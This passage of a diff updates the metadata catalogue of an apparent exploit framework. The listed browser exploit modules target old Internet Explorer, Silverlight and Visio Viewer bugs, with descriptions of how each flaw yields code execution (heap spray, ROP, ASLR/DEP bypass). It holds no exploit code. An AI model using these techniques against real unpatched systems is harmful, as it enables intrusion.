"rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3 / Visio Viewer 2010", "IE 7 on Windows XP SP3 / Visio Viewer 2010" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms11_093_ole32.rb", "is_install_path": true, "ref_name": "windows/browser/ms11_093_ole32", @@ -147748,6 +150720,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147755,9 +150736,7 @@ "exploit_windows/browser/ms12_004_midi": { "name": "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", "fullname": "exploit/windows/browser/ms12_004_midi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-10", "type": "exploit", @@ -147766,7 +150745,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits a heap overflow vulnerability in the Windows Multimedia\n Library (winmm.dll). The vulnerability occurs when parsing specially crafted\n MIDI files. Remote code execution can be achieved by using the Windows Media Player\n ActiveX control.\n\n Exploitation is done by supplying a specially crafted MIDI file with\n specific events, causing the offset calculation being higher than what is\n available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing\n us to either \"inc al\" or \"dec al\" a byte. This can be used to corrupt an array\n (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,\n which leverages remote code execution under the context of the user.\n\n Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,\n if you know your target's patch level, you may also try the 'MSHTML' advanced\n option for an info leak based attack. Currently, this module only supports two\n MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.\n Or 8.0.6001.19120, which is patch level before the MS12-004 fix.\n\n Also, based on our testing, the vulnerability does not seem to trigger when\n the victim machine is operated via rdesktop.", + "description": "This module exploits a heap overflow vulnerability in the Windows Multimedia\n Library (winmm.dll). The vulnerability occurs when parsing specially crafted\n MIDI files. Remote code execution can be achieved by using the Windows Media Player\n ActiveX control.\n\n Exploitation is done by supplying a specially crafted MIDI file with\n specific events, causing the offset calculation being higher than what is\n available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing\n us to either \"inc al\" or \"dec al\" a byte. This can be used to corrupt an array\n (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,\n which leverages remote code execution under the context of the user.\n\n Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,\n if you know your target's patch level, you may also try the 'MSHTML' advanced\n option for an info leak based attack. Currently, this module only supports two\n MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.\n Or 8.0.6001.19120, which is patch level before the MS12-004 fix.\n\n Also, based on our testing, the vulnerability does not seem to trigger when\n the victim machine is operated via rdesktop.", "references": [ "MSB-MS12-004", "CVE-2012-0003", @@ -147776,19 +150755,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", "IE 7 on Windows XP SP3", "IE 8 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms12_004_midi.rb", "is_install_path": true, "ref_name": "windows/browser/ms12_004_midi", @@ -147796,6 +150771,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147803,9 +150787,7 @@ "exploit_windows/browser/ms12_037_ie_colspan": { "name": "MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow", "fullname": "exploit/windows/browser/ms12_037_ie_colspan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-12", "type": "exploit", @@ -147816,7 +150798,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a heap overflow vulnerability in Internet Explorer caused\n by an incorrect handling of the span attribute for col elements from a fixed table,\n when they are modified dynamically by javascript code.", + "description": "This module exploits a heap overflow vulnerability in Internet Explorer caused\n by an incorrect handling of the span attribute for col elements from a fixed table,\n when they are modified dynamically by javascript code.", "references": [ "CVE-2012-1876", "OSVDB-82866", @@ -147826,18 +150808,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3 with msvcrt ROP", "IE 8 on Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms12_037_ie_colspan.rb", "is_install_path": true, "ref_name": "windows/browser/ms12_037_ie_colspan", @@ -147845,6 +150823,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147852,9 +150839,7 @@ "exploit_windows/browser/ms12_037_same_id": { "name": "MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", "fullname": "exploit/windows/browser/ms12_037_same_id", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-12", "type": "exploit", @@ -147864,7 +150849,7 @@ "Yichong Lin", "juan vazquez " ], - "description": "This module exploits a memory corruption flaw in Internet Explorer 8 when\n handling objects with the same ID property. At the moment this module targets\n IE8 over Windows XP SP3 and Windows 7. This module supports heap massaging\n as well as the heap spray method seen in the wild (Java msvcrt71.dll).", + "description": "This module exploits a memory corruption flaw in Internet Explorer 8 when\n handling objects with the same ID property. At the moment this module targets\n IE8 over Windows XP SP3 and Windows 7. This module supports heap massaging\n as well as the heap spray method seen in the wild (Java msvcrt71.dll).", "references": [ "MSB-MS12-037", "CVE-2012-1875", @@ -147876,19 +150861,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3 with msvcrt ROP", "IE 8 on Windows XP SP3 with JRE ROP", "IE 8 on Windows 7 SP1/Vista SP2 with JRE ROP" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms12_037_same_id.rb", "is_install_path": true, "ref_name": "windows/browser/ms12_037_same_id", @@ -147896,6 +150877,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147903,16 +150893,14 @@ "exploit_windows/browser/ms13_009_ie_slayoutrun_uaf": { "name": "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free", "fullname": "exploit/windows/browser/ms13_009_ie_slayoutrun_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-02-13", "type": "exploit", "author": [ "Scott Bell " ], - "description": "This module exploits a use-after-free vulnerability in Microsoft Internet Explorer\n where a CParaElement node is released but a reference is still kept\n in CDoc. This memory is reused when a CDoc relayout is performed.", + "description": "This module exploits a use-after-free vulnerability in Microsoft Internet Explorer\n where a CParaElement node is released but a reference is still kept\n in CDoc. This memory is reused when a CDoc relayout is performed.", "references": [ "CVE-2013-0025", "OSVDB-90122", @@ -147922,17 +150910,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb", "is_install_path": true, "ref_name": "windows/browser/ms13_009_ie_slayoutrun_uaf", @@ -147940,6 +150924,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147947,9 +150940,7 @@ "exploit_windows/browser/ms13_022_silverlight_script_object": { "name": "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", "fullname": "exploit/windows/browser/ms13_022_silverlight_script_object", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-12", "type": "exploit", @@ -147958,7 +150949,7 @@ "Vitaliy Toropov", "juan vazquez " ], - "description": "This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on\n the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an\n unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible\n to dereference arbitrary memory which easily leverages to arbitrary code execution. In order\n to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class\n from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP\n SP3 / Windows 7 SP1.", + "description": "This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on\n the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an\n unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible\n to dereference arbitrary memory which easily leverages to arbitrary code execution. In order\n to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class\n from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP\n SP3 / Windows 7 SP1.", "references": [ "CVE-2013-0074", "CVE-2013-3896", @@ -147973,16 +150964,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86/x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb", "is_install_path": true, "ref_name": "windows/browser/ms13_022_silverlight_script_object", @@ -147990,6 +150977,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -147997,9 +150993,7 @@ "exploit_windows/browser/ms13_037_svg_dashstyle": { "name": "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", "fullname": "exploit/windows/browser/ms13_037_svg_dashstyle", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-06", "type": "exploit", @@ -148009,7 +151003,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits an integer overflow vulnerability on Internet Explorer.\n The vulnerability exists in the handling of the dashstyle.array length for vml\n shapes on the vgx.dll module.\n\n The exploit has been built and tested specifically against Windows 7 SP1 with\n Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to\n bypass ASLR, and by default the info leak is used. To make sure the leak is\n successful, the ntdll version should be either v6.1.7601.17514 (the default dll\n version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725\n (installed after apply MS12-001). If the target doesn't have the version the exploit\n wants, it will refuse to attack by sending a fake 404 message (webpage not found).\n\n If you wish to try the JRE6 component instead to bypass ASLR, you can set the\n advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't\n have this particular component, the exploit will also refuse to attack by\n sending a 404 message.", + "description": "This module exploits an integer overflow vulnerability on Internet Explorer.\n The vulnerability exists in the handling of the dashstyle.array length for vml\n shapes on the vgx.dll module.\n\n The exploit has been built and tested specifically against Windows 7 SP1 with\n Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to\n bypass ASLR, and by default the info leak is used. To make sure the leak is\n successful, the ntdll version should be either v6.1.7601.17514 (the default dll\n version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725\n (installed after apply MS12-001). If the target doesn't have the version the exploit\n wants, it will refuse to attack by sending a fake 404 message (webpage not found).\n\n If you wish to try the JRE6 component instead to bypass ASLR, you can set the\n advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't\n have this particular component, the exploit will also refuse to attack by\n sending a 404 message.", "references": [ "CVE-2013-2551", "OSVDB-91197", @@ -148020,16 +151014,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 8 on Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb", "is_install_path": true, "ref_name": "windows/browser/ms13_037_svg_dashstyle", @@ -148037,6 +151027,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148044,9 +151043,7 @@ "exploit_windows/browser/ms13_055_canchor": { "name": "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", "fullname": "exploit/windows/browser/ms13_055_canchor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-09", "type": "exploit", @@ -148056,7 +151053,7 @@ "Peter Vreugdenhil", "sinn3r " ], - "description": "In IE8 standards mode, it's possible to cause a use-after-free condition by first\n creating an illogical table tree, where a CPhraseElement comes after CTableRow,\n with the final node being a sub table element. When the CPhraseElement's outer\n content is reset by using either outerText or outerHTML through an event handler,\n this triggers a free of its child element (in this case, a CAnchorElement, but\n some other objects apply too), but a reference is still kept in function\n SRunPointer::SpanQualifier. This function will then pass on the invalid reference\n to the next functions, eventually used in mshtml!CElement::Doc when it's trying to\n make a call to the object's SecurityContext virtual function at offset +0x70, which\n results a crash. An attacker can take advantage of this by first creating an\n CAnchorElement object, let it free, and then replace the freed memory with another\n fake object. Successfully doing so may allow arbitrary code execution under the\n context of the user.\n\n This bug is specific to Internet Explorer 8 only. It was originally discovered by\n Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again\n by Orange Tsai at Hitcon 2013.", + "description": "In IE8 standards mode, it's possible to cause a use-after-free condition by first\n creating an illogical table tree, where a CPhraseElement comes after CTableRow,\n with the final node being a sub table element. When the CPhraseElement's outer\n content is reset by using either outerText or outerHTML through an event handler,\n this triggers a free of its child element (in this case, a CAnchorElement, but\n some other objects apply too), but a reference is still kept in function\n SRunPointer::SpanQualifier. This function will then pass on the invalid reference\n to the next functions, eventually used in mshtml!CElement::Doc when it's trying to\n make a call to the object's SecurityContext virtual function at offset +0x70, which\n results a crash. An attacker can take advantage of this by first creating an\n CAnchorElement object, let it free, and then replace the freed memory with another\n fake object. Successfully doing so may allow arbitrary code execution under the\n context of the user.\n\n This bug is specific to Internet Explorer 8 only. It was originally discovered by\n Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again\n by Orange Tsai at Hitcon 2013.", "references": [ "CVE-2013-3163", "OSVDB-94981", @@ -148066,18 +151063,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 8 on Windows XP SP3", "IE 8 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms13_055_canchor.rb", "is_install_path": true, "ref_name": "windows/browser/ms13_055_canchor", @@ -148085,6 +151078,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148092,9 +151094,7 @@ "exploit_windows/browser/ms13_059_cflatmarkuppointer": { "name": "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", "fullname": "exploit/windows/browser/ms13_059_cflatmarkuppointer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-27", "type": "exploit", @@ -148102,7 +151102,7 @@ "corelanc0d3r", "sinn3r " ], - "description": "This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,\n it seems to only affect certain releases of mshtml.dll, ranging from a newly\n installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8\n requires a different way to trigger the vulnerability, but not currently covered\n by this module.\n\n The issue is specific to the browser's IE7 document compatibility, which can be\n defined in X-UA-Compatible, and the content editable mode must be enabled. An\n \"onmove\" event handler is also necessary to be able to trigger the bug, and the\n event will be run twice before the crash. The first time is due to the position\n change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'\n object is created during a \"SelectAll\" command, and this object will be used later\n on for the crash. The second onmove event seems to be triggered by a InsertButton\n (or Insert-whatever) command, which is also responsible for the free of object\n CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will\n then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and\n then passes this on to the next functions (GetLineInfo -> QIClassID). When this\n reference arrives in function QIClassID, an access violation finally occurs when\n the function is trying to call QueryInterface() with the bad reference, and this\n results a crash. Successful control of the freed memory may leverage arbitrary code\n execution under the context of the user.\n\n Note: It is also possible to see a different object being freed and used, doesn't\n always have to be CFlatMarkupPointer.", + "description": "This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,\n it seems to only affect certain releases of mshtml.dll, ranging from a newly\n installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8\n requires a different way to trigger the vulnerability, but not currently covered\n by this module.\n\n The issue is specific to the browser's IE7 document compatibility, which can be\n defined in X-UA-Compatible, and the content editable mode must be enabled. An\n \"onmove\" event handler is also necessary to be able to trigger the bug, and the\n event will be run twice before the crash. The first time is due to the position\n change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'\n object is created during a \"SelectAll\" command, and this object will be used later\n on for the crash. The second onmove event seems to be triggered by a InsertButton\n (or Insert-whatever) command, which is also responsible for the free of object\n CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will\n then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and\n then passes this on to the next functions (GetLineInfo -> QIClassID). When this\n reference arrives in function QIClassID, an access violation finally occurs when\n the function is trying to call QueryInterface() with the bad reference, and this\n results a crash. Successful control of the freed memory may leverage arbitrary code\n execution under the context of the user.\n\n Note: It is also possible to see a different object being freed and used, doesn't\n always have to be CFlatMarkupPointer.", "references": [ "CVE-2013-3184", "OSVDB-96182", @@ -148114,16 +151114,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb", "is_install_path": true, "ref_name": "windows/browser/ms13_059_cflatmarkuppointer", @@ -148131,6 +151127,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148138,9 +151143,7 @@ "exploit_windows/browser/ms13_069_caret": { "name": "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free", "fullname": "exploit/windows/browser/ms13_069_caret", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-09-10", "type": "exploit", @@ -148148,7 +151151,7 @@ "corelanc0d3r", "sinn3r " ], - "description": "This module exploits a use-after-free vulnerability found in Internet Explorer,\n specifically in how the browser handles the caret (text cursor) object. In IE's standards\n mode, the caret handling's vulnerable state can be triggered by first setting up an\n editable page with an input field, and then we can force the caret to update in an\n onbeforeeditfocus event by setting the body's innerHTML property. In this event handler,\n mshtml!CCaret::`vftable' can be freed using a document.write() function, however,\n mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and still uses the\n same reference to the CCaret object. When the function tries to use this invalid reference\n to call a virtual function at offset 0x2c, it finally results a crash. Precise control of\n the freed object allows arbitrary code execution under the context of the user.", + "description": "This module exploits a use-after-free vulnerability found in Internet Explorer,\n specifically in how the browser handles the caret (text cursor) object. In IE's standards\n mode, the caret handling's vulnerable state can be triggered by first setting up an\n editable page with an input field, and then we can force the caret to update in an\n onbeforeeditfocus event by setting the body's innerHTML property. In this event handler,\n mshtml!CCaret::`vftable' can be freed using a document.write() function, however,\n mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and still uses the\n same reference to the CCaret object. When the function tries to use this invalid reference\n to call a virtual function at offset 0x2c, it finally results a crash. Precise control of\n the freed object allows arbitrary code execution under the context of the user.", "references": [ "CVE-2013-3205", "OSVDB-97094", @@ -148158,16 +151161,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 8 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms13_069_caret.rb", "is_install_path": true, "ref_name": "windows/browser/ms13_069_caret", @@ -148175,6 +151174,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148182,9 +151190,7 @@ "exploit_windows/browser/ms13_080_cdisplaypointer": { "name": "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", "fullname": "exploit/windows/browser/ms13_080_cdisplaypointer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-08", "type": "exploit", @@ -148192,7 +151198,7 @@ "Unknown", "sinn3r " ], - "description": "This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally\n found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,\n around the same time frame as CVE-2013-3893, except this was kept out of the public eye by\n multiple research companies and the vendor until the October patch release.\n\n This issue is a use-after-free vulnerability in CDisplayPointer via the use of a\n \"onpropertychange\" event handler. To set up the appropriate buggy conditions, we first craft\n the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.\n If we use a select() function for the CTextArea element, two important things will happen:\n a CDisplayPointer object will be created for CTextArea, and it will also trigger another\n event called \"onselect\". The \"onselect\" event will allow us to set up for the actual event\n handler we want to abuse - the \"onpropertychange\" event. Since the CBlockElement is a child\n of CTextArea, if we do a node swap of CBlockElement in \"onselect\", this will trigger\n \"onpropertychange\". During \"onpropertychange\" event handling, a free of the CDisplayPointer\n object can be forced by using an \"Unselect\" (other approaches also apply), but a reference\n of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after\n the CDoc::GetLineInfo call, because it is still trying to use that to update\n CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash\n finally occurs due to accessing the freed memory. By controlling this freed memory, it is\n possible to achieve arbitrary code execution under the context of the user.", + "description": "This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally\n found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,\n around the same time frame as CVE-2013-3893, except this was kept out of the public eye by\n multiple research companies and the vendor until the October patch release.\n\n This issue is a use-after-free vulnerability in CDisplayPointer via the use of a\n \"onpropertychange\" event handler. To set up the appropriate buggy conditions, we first craft\n the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.\n If we use a select() function for the CTextArea element, two important things will happen:\n a CDisplayPointer object will be created for CTextArea, and it will also trigger another\n event called \"onselect\". The \"onselect\" event will allow us to set up for the actual event\n handler we want to abuse - the \"onpropertychange\" event. Since the CBlockElement is a child\n of CTextArea, if we do a node swap of CBlockElement in \"onselect\", this will trigger\n \"onpropertychange\". During \"onpropertychange\" event handling, a free of the CDisplayPointer\n object can be forced by using an \"Unselect\" (other approaches also apply), but a reference\n of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after\n the CDoc::GetLineInfo call, because it is still trying to use that to update\n CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash\n finally occurs due to accessing the freed memory. By controlling this freed memory, it is\n possible to achieve arbitrary code execution under the context of the user.", "references": [ "CVE-2013-3897", "OSVDB-98207", @@ -148203,19 +151209,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 7 on Windows XP SP3", "IE 8 on Windows XP SP3", "IE 8 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb", "is_install_path": true, "ref_name": "windows/browser/ms13_080_cdisplaypointer", @@ -148223,6 +151225,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148230,9 +151241,7 @@ "exploit_windows/browser/ms13_090_cardspacesigninhelper": { "name": "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow", "fullname": "exploit/windows/browser/ms13_090_cardspacesigninhelper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-08", "type": "exploit", @@ -148240,7 +151249,7 @@ "Unknown", "juan vazquez " ], - "description": "This module exploits a vulnerability on the CardSpaceClaimCollection class from the\n icardie.dll ActiveX control. The vulnerability exists while the handling of the\n CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of\n elements on a SafeArray and keeps a size field, counting the number of elements on the\n collection. By calling the remove() method on an empty CardSpaceClaimCollection it is\n possible to underflow the length field, storing a negative integer. Later, a call to\n the add() method will use the corrupted length field to compute the address where write\n into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents.\n This module achieves code execution by using VBScript as discovered in the wild on\n November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create\n a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt\n one of the legit OBJECT elements with the described integer overflow and (5) achieve code\n execution by forcing the use of the corrupted OBJECT.", + "description": "This module exploits a vulnerability on the CardSpaceClaimCollection class from the\n icardie.dll ActiveX control. The vulnerability exists while the handling of the\n CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of\n elements on a SafeArray and keeps a size field, counting the number of elements on the\n collection. By calling the remove() method on an empty CardSpaceClaimCollection it is\n possible to underflow the length field, storing a negative integer. Later, a call to\n the add() method will use the corrupted length field to compute the address where write\n into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents.\n This module achieves code execution by using VBScript as discovered in the wild on\n November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create\n a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt\n one of the legit OBJECT elements with the described integer overflow and (5) achieve code\n execution by forcing the use of the corrupted OBJECT.", "references": [ "CVE-2013-3918", "OSVDB-99555", @@ -148251,16 +151260,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP with IE 8" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb", "is_install_path": true, "ref_name": "windows/browser/ms13_090_cardspacesigninhelper", @@ -148268,6 +151273,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148275,9 +151289,7 @@ "exploit_windows/browser/ms14_012_cmarkup_uaf": { "name": "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free", "fullname": "exploit/windows/browser/ms14_012_cmarkup_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-13", "type": "exploit", @@ -148286,7 +151298,7 @@ "Jean-Jamil Khalife", "juan vazquez " ], - "description": "This module exploits an use after free condition on Internet Explorer as used in the wild\n as part of \"Operation SnowMan\" in February 2014. The module uses Flash Player 12 in order to\n bypass ASLR and DEP.", + "description": "This module exploits an use after free condition on Internet Explorer as used in the wild\n as part of \"Operation SnowMan\" in February 2014. The module uses Flash Player 12 in order to\n bypass ASLR and DEP.", "references": [ "CVE-2014-0322", "MSB-MS14-012", @@ -148297,16 +151309,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1 / IE 10 / FP 12" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb", "is_install_path": true, "ref_name": "windows/browser/ms14_012_cmarkup_uaf", @@ -148314,6 +151322,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": 